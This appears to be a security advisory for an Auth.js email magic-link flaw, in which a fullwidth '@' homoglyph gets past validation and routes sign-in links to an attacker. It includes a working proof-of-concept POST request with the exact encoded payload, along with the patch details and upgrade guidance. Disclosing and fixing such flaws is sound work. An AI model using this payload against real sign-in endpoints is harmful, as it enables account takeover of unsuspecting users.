Auth.js (@auth/core): Email Magic-Link Homoglyph Bypass Leading to Account Takeover
Auth.js's email sign-in normalizer validates the address before applying Unicode normalization, letting an attacker smuggle a lookalike '@' character to redirect a magic-link to an…
The problem
The default normalizeIdentifier function in Auth.js email/magic-link provider splits on ASCII @ (U+0040) and validates the single-separator rule before any Unicode normalization is applied.
An attacker can embed U+FF20 FULLWIDTH COMMERCIAL AT (@) in the submitted address. The validator sees only one ASCII @ and passes. A downstream mailer that applies NFKC normalization collapses @ to @, producing two separators and routing the magic link to the attacker's mailbox instead of the victim's.
No victim interaction is needed: the attacker initiates the sign-in flow targeting the victim's email, intercepts the link, and authenticates as the victim.
Proof of concept
A working proof-of-concept for this issue in @auth/core, with the exact payload below.
POST /api/auth/signin/email HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
csrfToken=<valid_csrf>&email=victim%EF%BC%A0victim.example.com%40attacker.com
# %EF%BC%A0 is UTF-8 encoding of U+FF20 FULLWIDTH COMMERCIAL AT (@)
# Submitted identifier: victim@victim.example.com@attacker.com
#
# Old normalizer (validate-before-NFKC):
# split('@') -> ['victim\uFF20victim.example.com', 'attacker.com']
# one ASCII @ found -> passes validation
# magic link is addressed to: victim@victim.example.com@attacker.com
#
# SMTPUTF8/NFKC-normalizing mailer:
# NFKC collapse: victim@victim.example.com@attacker.com
# parses first mailbox -> delivers to attacker.com
# attacker receives the magic link and signs in as victimThe root cause is CWE-180 (Incorrect Behavior Order: Validate Before Canonicalize). The old normalizer called identifier.toLowerCase().trim().split('@') and checked the count of ASCII @ separators before any Unicode normalization, so a NFKC-compatible homoglyph passed the guard unchallenged.
The patch commits (19d2feb and a63eee1) add identifier.normalize('NFKC') as the very first step, collapsing compatibility characters like U+FF20 to their ASCII equivalents before any splitting or counting occurs. After normalization a crafted address containing @ is immediately seen as having two @ separators and is rejected.
U+FF20 FULLWIDTH COMMERCIAL AT is the most direct homoglyph, but any Unicode code point whose NFKC decomposition is U+0040 works identically. Most internationalized-email (SMTPUTF8) libraries normalize on ingest, making the misrouting reliable against common mail stacks.
The fix
Upgrade @auth/core to 0.41.3 or later, or next-auth to 4.24.15 / 5.0.0-beta.32 or later. No application-level changes are needed after upgrading. If an immediate upgrade is blocked, add a custom normalizeIdentifier on the Email provider that calls identifier.normalize('NFKC') before any splitting or validation, and rejects addresses that do not contain exactly one ASCII @ after normalization.
Reported by @kakashi-kx.
Related research
- high · 7.8CVE-2026-15895CVE-2026-15895: jsii-diff OS Command Injection via npm: Package Argument
- high · 7.5CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap
- high · 7.5CVE-2026-71321CVE-2026-71321: Nuxt Island Endpoint Unauthenticated CPU Exhaustion (DoS)
- high · 7.5CVE-2026-71316CVE-2026-71316: Nuxt SSR Payload Cache Cross-User Information Disclosure